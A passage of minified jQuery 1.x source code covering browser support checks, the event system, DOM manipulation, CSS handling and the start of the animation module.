type='checkbox'/>",nt.leadingWhitespace=3===t.firstChild.nodeType,nt.tbody=!t.getElementsByTagName("tbody").length,nt.htmlSerialize=!!t.getElementsByTagName("link").length,nt.html5Clone="<:nav></:nav>"!==ht.createElement("nav").cloneNode(!0).outerHTML,e.type="checkbox",e.checked=!0,n.appendChild(e),nt.appendChecked=e.checked,t.innerHTML="<textarea>x</textarea>",nt.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue,n.appendChild(t),t.innerHTML="<input type='radio' checked='checked' name='t'/>",nt.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,nt.noCloneEvent=!0,t.attachEvent&&(t.attachEvent("onclick",function(){nt.noCloneEvent=!1}),t.cloneNode(!0).click()),null==nt.deleteExpando){nt.deleteExpando=!0;try{delete t.test}catch(r){nt.deleteExpando=!1}}}(),function(){var t,n,r=ht.createElement("div");for(t in{submit:!0,change:!0,focusin:!0})n="on"+t,(nt[t+"Bubbles"]=n in e)||(r.setAttribute(n,"t"),nt[t+"Bubbles"]=r.attributes[n].expando===!1);r=null}();var Lt=/^(?:input|select|textarea)$/i,Ht=/^key/,_t=/^(?:mouse|pointer|contextmenu)|click/,qt=/^(?:focusinfocus|focusoutblur)$/,Ft=/^([^.]*)(?:\.(.+)|)$/;it.event={global:{},add:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it._data(e);if(g){for(n.handler&&(l=n,n=l.handler,i=l.selector),n.guid||(n.guid=it.guid++),(a=g.events)||(a=g.events={}),(c=g.handle)||(c=g.handle=function(e){return typeof it===Et||e&&it.event.triggered===e.type?void 0:it.event.dispatch.apply(c.elem,arguments)},c.elem=e),t=(t||"").match(bt)||[""],s=t.length;s--;)o=Ft.exec(t[s])||[],p=m=o[1],h=(o[2]||"").split(".").sort(),p&&(u=it.event.special[p]||{},p=(i?u.delegateType:u.bindType)||p,u=it.event.special[p]||{},d=it.extend({type:p,origType:m,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&it.expr.match.needsContext.test(i),namespace:h.join(".")},l),(f=a[p])||(f=a[p]=[],f.delegateCount=0,u.setup&&u.setup.call(e,r,h,c)!==!1||(e.addEventListener?e.addEventListener(p,c,!1):e.attachEvent&&e.attachEvent("on"+p,c))),u.add&&(u.add.call(e,d),d.handler.guid||(d.handler.guid=n.guid)),i?f.splice(f.delegateCount++,0,d):f.push(d),it.event.global[p]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,d,f,p,h,m,g=it.hasData(e)&&it._data(e);if(g&&(c=g.events)){for(t=(t||"").match(bt)||[""],u=t.length;u--;)if(s=Ft.exec(t[u])||[],p=m=s[1],h=(s[2]||"").split(".").sort(),p){for(d=it.event.special[p]||{},p=(r?d.delegateType:d.bindType)||p,f=c[p]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;o--;)a=f[o],!i&&m!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,d.remove&&d.remove.call(e,a));l&&!f.length&&(d.teardown&&d.teardown.call(e,h,g.handle)!==!1||it.removeEvent(e,p,g.handle),delete c[p])}else for(p in c)it.event.remove(e,p+t[u],n,r,!0);it.isEmptyObject(c)&&(delete g.handle,it._removeData(e,"events"))}},trigger:function(t,n,r,i){var o,a,s,l,u,c,d,f=[r||ht],p=tt.call(t,"type")?t.type:t,h=tt.call(t,"namespace")?t.namespace.split("."):[];if(s=c=r=r||ht,3!==r.nodeType&&8!==r.nodeType&&!qt.test(p+it.event.triggered)&&(p.indexOf(".")>=0&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[it.expando]?t:new it.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.namespace_re=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:it.makeArray(n,[t]),u=it.event.special[p]||{},i||!u.trigger||u.trigger.apply(r,n)!==!1)){if(!i&&!u.noBubble&&!it.isWindow(r)){for(l=u.delegateType||p,qt.test(l+p)||(s=s.parentNode);s;s=s.parentNode)f.push(s),c=s;c===(r.ownerDocument||ht)&&f.push(c.defaultView||c.parentWindow||e)}for(d=0;(s=f[d++])&&!t.isPropagationStopped();)t.type=d>1?l:u.bindType||p,o=(it._data(s,"events")||{})[t.type]&&it._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&it.acceptData(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!u._default||u._default.apply(f.pop(),n)===!1)&&it.acceptData(r)&&a&&r[p]&&!it.isWindow(r)){c=r[a],c&&(r[a]=null),it.event.triggered=p;try{r[p]()}catch(m){}it.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=it.event.fix(e);var t,n,r,i,o,a=[],s=Y.call(arguments),l=(it._data(this,"events")||{})[e.type]||[],u=it.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,e)!==!1){for(a=it.event.handlers.call(this,e,l),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,o=0;(r=i.handlers[o++])&&!e.isImmediatePropagationStopped();)(!e.namespace_re||e.namespace_re.test(r.namespace))&&(e.handleObj=r,e.data=r.data,n=((it.event.special[r.origType]||{}).handle||r.handler).apply(i.elem,s),void 0!==n&&(e.result=n)===!1&&(e.preventDefault(),e.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(i=[],o=0;s>o;o++)r=t[o],n=r.selector+" ",void 0===i[n]&&(i[n]=r.needsContext?it(n,this).index(l)>=0:it.find(n,this,null,[l]).length),i[n]&&i.push(r);i.length&&a.push({elem:l,handlers:i})}return s<t.length&&a.push({elem:this,handlers:t.slice(s)}),a},fix:function(e){if(e[it.expando])return e;var t,n,r,i=e.type,o=e,a=this.fixHooks[i];for(a||(this.fixHooks[i]=a=_t.test(i)?this.mouseHooks:Ht.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new it.Event(o),t=r.length;t--;)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||ht),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,t){var n,r,i,o=t.button,a=t.fromElement;return null==e.pageX&&null!=t.clientX&&(r=e.target.ownerDocument||ht,i=r.documentElement,n=r.body,e.pageX=t.clientX+(i&&i.scrollLeft||n&&n.scrollLeft||0)-(i&&i.clientLeft||n&&n.clientLeft||0),e.pageY=t.clientY+(i&&i.scrollTop||n&&n.scrollTop||0)-(i&&i.clientTop||n&&n.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?t.toElement:a),e.which||void 0===o||(e.which=1&o?1:2&o?3:4&o?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==h()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===h()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return it.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(e){return it.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=it.extend(new it.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?it.event.trigger(i,null,t):it.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},it.removeEvent=ht.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===Et&&(e[r]=null),e.detachEvent(r,n))},it.Event=function(e,t){return this instanceof it.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?f:p):this.type=e,t&&it.extend(this,t),this.timeStamp=e&&e.timeStamp||it.now(),void(this[it.expando]=!0)):new it.Event(e,t)},it.Event.prototype={isDefaultPrevented:p,isPropagationStopped:p,isImmediatePropagationStopped:p,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=f,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=f,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=f,e&&e.stopImmediatePropagation&&e.stopImmediatePropagation(),this.stopPropagation()}},it.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){it.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!it.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),nt.submitBubbles||(it.event.special.submit={setup:function(){return it.nodeName(this,"form")?!1:void it.event.add(this,"click._submit keypress._submit",function(e){var t=e.target,n=it.nodeName(t,"input")||it.nodeName(t,"button")?t.form:void 0;n&&!it._data(n,"submitBubbles")&&(it.event.add(n,"submit._submit",function(e){e._submit_bubble=!0}),it._data(n,"submitBubbles",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&it.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return it.nodeName(this,"form")?!1:void it.event.remove(this,"._submit")}}),nt.changeBubbles||(it.event.special.change={setup:function(){return Lt.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(it.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),it.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),it.event.simulate("change",this,e,!0)})),!1):void it.event.add(this,"beforeactivate._change",function(e){var t=e.target;Lt.test(t.nodeName)&&!it._data(t,"changeBubbles")&&(it.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||it.event.simulate("change",this.parentNode,e,!0)}),it._data(t,"changeBubbles",!0))})},handle:function(e){var t=e.target;return this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type?e.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return it.event.remove(this,"._change"),!Lt.test(this.nodeName)}}),nt.focusinBubbles||it.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){it.event.simulate(t,e.target,it.event.fix(e),!0)};it.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=it._data(r,t);i||r.addEventListener(e,n,!0),it._data(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=it._data(r,t)-1;i?it._data(r,t,i):(r.removeEventListener(e,n,!0),it._removeData(r,t))}}}),it.fn.extend({on:function(e,t,n,r,i){var o,a;if("object"==typeof e){"string"!=typeof t&&(n=n||t,t=void 0);for(o in e)this.on(o,t,n,e[o],i);return this}if(null==n&&null==r?(r=t,n=t=void 0):null==r&&("string"==typeof t?(r=n,n=void 0):(r=n,n=t,t=void 0)),r===!1)r=p;else if(!r)return this;return 1===i&&(a=r,r=function(e){return it().off(e),a.apply(this,arguments)},r.guid=a.guid||(a.guid=it.guid++)),this.each(function(){it.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,it(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||"function"==typeof t)&&(n=t,t=void 0),n===!1&&(n=p),this.each(function(){it.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){it.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?it.event.trigger(e,t,n,!0):void 0}});var Mt="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Ot=/ jQuery\d+="(?:null|\d+)"/g,Rt=new RegExp("<(?:"+Mt+")[\\s/>]","i"),Bt=/^\s+/,Pt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,It=/<([\w:]+)/,Wt=/<tbody/i,$t=/<|&#?\w+;/,zt=/<(?:script|style|link)/i,Xt=/checked\s*(?:[^=]|=\s*.checked.)/i,Ut=/^$|\/(?:java|ecma)script/i,Vt=/^true\/(.*)/,Gt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Yt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:nt.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},Jt=m(ht),Kt=Jt.appendChild(ht.createElement("div"));Yt.optgroup=Yt.option,Yt.tbody=Yt.tfoot=Yt.colgroup=Yt.caption=Yt.thead,Yt.th=Yt.td,it.extend({clone:function(e,t,n){var r,i,o,a,s,l=it.contains(e.ownerDocument,e);if(nt.html5Clone||it.isXMLDoc(e)||!Rt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Kt.innerHTML=e.outerHTML,Kt.removeChild(o=Kt.firstChild)),!(nt.noCloneEvent&&nt.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||it.isXMLDoc(e)))for(r=g(o),s=g(e),a=0;null!=(i=s[a]);++a)r[a]&&E(i,r[a]);if(t)if(n)for(s=s||g(e),r=r||g(o),a=0;null!=(i=s[a]);a++)T(i,r[a]);else T(e,o);return r=g(o,"script"),r.length>0&&w(r,!l&&g(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){for(var i,o,a,s,l,u,c,d=e.length,f=m(t),p=[],h=0;d>h;h++)if(o=e[h],o||0===o)if("object"===it.type(o))it.merge(p,o.nodeType?[o]:o);else if($t.test(o)){for(s=s||f.appendChild(t.createElement("div")),l=(It.exec(o)||["",""])[1].toLowerCase(),c=Yt[l]||Yt._default,s.innerHTML=c[1]+o.replace(Pt,"<$1></$2>")+c[2],i=c[0];i--;)s=s.lastChild;if(!nt.leadingWhitespace&&Bt.test(o)&&p.push(t.createTextNode(Bt.exec(o)[0])),!nt.tbody)for(o="table"!==l||Wt.test(o)?"<table>"!==c[1]||Wt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;i--;)it.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u);for(it.merge(p,s.childNodes),s.textContent="";s.firstChild;)s.removeChild(s.firstChild);s=f.lastChild}else p.push(t.createTextNode(o));for(s&&f.removeChild(s),nt.appendChecked||it.grep(g(p,"input"),v),h=0;o=p[h++];)if((!r||-1===it.inArray(o,r))&&(a=it.contains(o.ownerDocument,o),s=g(f.appendChild(o),"script"),a&&w(s),n))for(i=0;o=s[i++];)Ut.test(o.type||"")&&n.push(o);return s=null,f},cleanData:function(e,t){for(var n,r,i,o,a=0,s=it.expando,l=it.cache,u=nt.deleteExpando,c=it.event.special;null!=(n=e[a]);a++)if((t||it.acceptData(n))&&(i=n[s],o=i&&l[i])){if(o.events)for(r in o.events)c[r]?it.event.remove(n,r):it.removeEvent(n,r,o.handle);l[i]&&(delete l[i],u?delete n[s]:typeof n.removeAttribute!==Et?n.removeAttribute(s):n[s]=null,G.push(i))}}}),it.fn.extend({text:function(e){return At(this,function(e){return void 0===e?it.text(this):this.empty().append((this[0]&&this[0].ownerDocument||ht).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=y(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){for(var n,r=e?it.filter(e,this):this,i=0;null!=(n=r[i]);i++)t||1!==n.nodeType||it.cleanData(g(n)),n.parentNode&&(t&&it.contains(n.ownerDocument,n)&&w(g(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&it.cleanData(g(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&it.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return it.clone(this,e,t)})},html:function(e){return At(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ot,""):void 0;if(!("string"!=typeof e||zt.test(e)||!nt.htmlSerialize&&Rt.test(e)||!nt.leadingWhitespace&&Bt.test(e)||Yt[(It.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Pt,"<$1></$2>");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(it.cleanData(g(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=arguments[0];return this.domManip(arguments,function(t){e=this.parentNode,it.cleanData(g(this)),e&&e.replaceChild(t,this)}),e&&(e.length||e.nodeType)?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t){e=J.apply([],e);var n,r,i,o,a,s,l=0,u=this.length,c=this,d=u-1,f=e[0],p=it.isFunction(f);if(p||u>1&&"string"==typeof f&&!nt.checkClone&&Xt.test(f))return this.each(function(n){var r=c.eq(n);p&&(e[0]=f.call(this,n,r.html())),r.domManip(e,t)});if(u&&(s=it.buildFragment(e,this[0].ownerDocument,!1,this),n=s.firstChild,1===s.childNodes.length&&(s=n),n)){for(o=it.map(g(s,"script"),b),i=o.length;u>l;l++)r=s,l!==d&&(r=it.clone(r,!0,!0),i&&it.merge(o,g(r,"script"))),t.call(this[l],r,l);if(i)for(a=o[o.length-1].ownerDocument,it.map(o,x),l=0;i>l;l++)r=o[l],Ut.test(r.type||"")&&!it._data(r,"globalEval")&&it.contains(a,r)&&(r.src?it._evalUrl&&it._evalUrl(r.src):it.globalEval((r.text||r.textContent||r.innerHTML||"").replace(Gt,"")));s=n=null}return this}}),it.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){it.fn[e]=function(e){for(var n,r=0,i=[],o=it(e),a=o.length-1;a>=r;r++)n=r===a?this:this.clone(!0),it(o[r])[t](n),K.apply(i,n.get());return this.pushStack(i)}});var Qt,Zt={};!function(){var e;nt.shrinkWrapBlocks=function(){if(null!=e)return e;e=!1;var t,n,r;return n=ht.getElementsByTagName("body")[0],n&&n.style?(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),typeof t.style.zoom!==Et&&(t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",t.appendChild(ht.createElement("div")).style.width="5px",e=3!==t.offsetWidth),n.removeChild(r),e):void 0}}();var en,tn,nn=/^margin/,rn=new RegExp("^("+Nt+")(?!px)[a-z%]+$","i"),on=/^(top|right|bottom|left)$/;e.getComputedStyle?(en=function(e){return e.ownerDocument.defaultView.getComputedStyle(e,null)},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n.getPropertyValue(t)||n[t]:void 0,n&&(""!==a||it.contains(e.ownerDocument,e)||(a=it.style(e,t)),rn.test(a)&&nn.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0===a?a:a+""}):ht.documentElement.currentStyle&&(en=function(e){return e.currentStyle},tn=function(e,t,n){var r,i,o,a,s=e.style;return n=n||en(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),rn.test(a)&&!on.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"}),function(){function t(){var t,n,r,i;n=ht.getElementsByTagName("body")[0],n&&n.style&&(t=ht.createElement("div"),r=ht.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),t.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",o=a=!1,l=!0,e.getComputedStyle&&(o="1%"!==(e.getComputedStyle(t,null)||{}).top,a="4px"===(e.getComputedStyle(t,null)||{width:"4px"}).width,i=t.appendChild(ht.createElement("div")),i.style.cssText=t.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",t.style.width="1px",l=!parseFloat((e.getComputedStyle(i,null)||{}).marginRight)),t.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=t.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",s=0===i[0].offsetHeight,s&&(i[0].style.display="",i[1].style.display="none",s=0===i[0].offsetHeight),n.removeChild(r))}var n,r,i,o,a,s,l;n=ht.createElement("div"),n.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",i=n.getElementsByTagName("a")[0],r=i&&i.style,r&&(r.cssText="float:left;opacity:.5",nt.opacity="0.5"===r.opacity,nt.cssFloat=!!r.cssFloat,n.style.backgroundClip="content-box",n.cloneNode(!0).style.backgroundClip="",nt.clearCloneStyle="content-box"===n.style.backgroundClip,nt.boxSizing=""===r.boxSizing||""===r.MozBoxSizing||""===r.WebkitBoxSizing,it.extend(nt,{reliableHiddenOffsets:function(){return null==s&&t(),s
+},boxSizingReliable:function(){return null==a&&t(),a},pixelPosition:function(){return null==o&&t(),o},reliableMarginRight:function(){return null==l&&t(),l}}))}(),it.swap=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};var an=/alpha\([^)]*\)/i,sn=/opacity\s*=\s*([^)]*)/,ln=/^(none|table(?!-c[ea]).+)/,un=new RegExp("^("+Nt+")(.*)$","i"),cn=new RegExp("^([+-])=("+Nt+")","i"),dn={position:"absolute",visibility:"hidden",display:"block"},fn={letterSpacing:"0",fontWeight:"400"},pn=["Webkit","O","Moz","ms"];it.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=tn(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":nt.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=it.camelCase(t),l=e.style;if(t=it.cssProps[s]||(it.cssProps[s]=S(l,s)),a=it.cssHooks[t]||it.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];if(o=typeof n,"string"===o&&(i=cn.exec(n))&&(n=(i[1]+1)*i[2]+parseFloat(it.css(e,t)),o="number"),null!=n&&n===n&&("number"!==o||it.cssNumber[s]||(n+="px"),nt.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{l[t]=n}catch(u){}}},css:function(e,t,n,r){var i,o,a,s=it.camelCase(t);return t=it.cssProps[s]||(it.cssProps[s]=S(e.style,s)),a=it.cssHooks[t]||it.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=tn(e,t,r)),"normal"===o&&t in fn&&(o=fn[t]),""===n||n?(i=parseFloat(o),n===!0||it.isNumeric(i)?i||0:o):o}}),it.each(["height","width"],function(e,t){it.cssHooks[t]={get:function(e,n,r){return n?ln.test(it.css(e,"display"))&&0===e.offsetWidth?it.swap(e,dn,function(){return L(e,t,r)}):L(e,t,r):void 0},set:function(e,n,r){var i=r&&en(e);return A(e,n,r?D(e,t,r,nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,i),i):0)}}}),nt.opacity||(it.cssHooks.opacity={get:function(e,t){return sn.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=it.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===it.trim(o.replace(an,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=an.test(o)?o.replace(an,i):o+" "+i)}}),it.cssHooks.marginRight=N(nt.reliableMarginRight,function(e,t){return t?it.swap(e,{display:"inline-block"},tn,[e,"marginRight"]):void 0}),it.each({margin:"",padding:"",border:"Width"},function(e,t){it.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];4>r;r++)i[e+St[r]+t]=o[r]||o[r-2]||o[0];return i}},nn.test(e)||(it.cssHooks[e+t].set=A)}),it.fn.extend({css:function(e,t){return At(this,function(e,t,n){var r,i,o={},a=0;if(it.isArray(t)){for(r=en(e),i=t.length;i>a;a++)o[t[a]]=it.css(e,t[a],!1,r);return o}return void 0!==n?it.style(e,t,n):it.css(e,t)},e,t,arguments.length>1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){jt(this)?it(this).show():it(this).hide()})}}),it.Tween=H,H.prototype={constructor:H,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(it.cssNumber[n]?"":"px")},cur:function(){var e=H.propHooks[this.prop];return e&&e.get?e.get(this):H.propHooks._default.get(this)},run:function(e){var t,n=H.propHooks[this.prop];return this.pos=t=this.options.duration?it.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):H.propHooks._default.set(this),this}},H.prototype.init.prototype=H.prototype,H.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=it.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){it.fx.step[e.prop]?it.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[it.cssProps[e.prop]]||it.cssHooks[e.prop])?it.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},H.propHooks.scrollTop=H.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},it.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},it.fx=H.prototype.init,it.fx.step={};var hn,mn,gn=/^(?:toggle|show|hide)$/,vn=new RegExp("^(?:([+-])=|)("+Nt+")([a-z%]*)$","i"),yn=/queueHooks$/,bn=[M],xn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=vn.exec(t),o=i&&i[3]||(it.cssNumber[e]?"":"px"),a=(it.cssNumber[e]||"px"!==o&&+r)&&vn.exec(it.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do s=s||".5",a/=s,it.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||0,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};it.Animation=it.extend(R,{tweener:function(e,t){it.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");for(var n,r=0,i=e.length;i>r;r++)n=e[r],xn[n]=xn[n]||[],xn[n].unshift(t)},prefilter:function(e,t){t?bn.unshift(e):bn.push(e)}}),it.speed=function(e,t,n){var r=e&&"object"==typeof 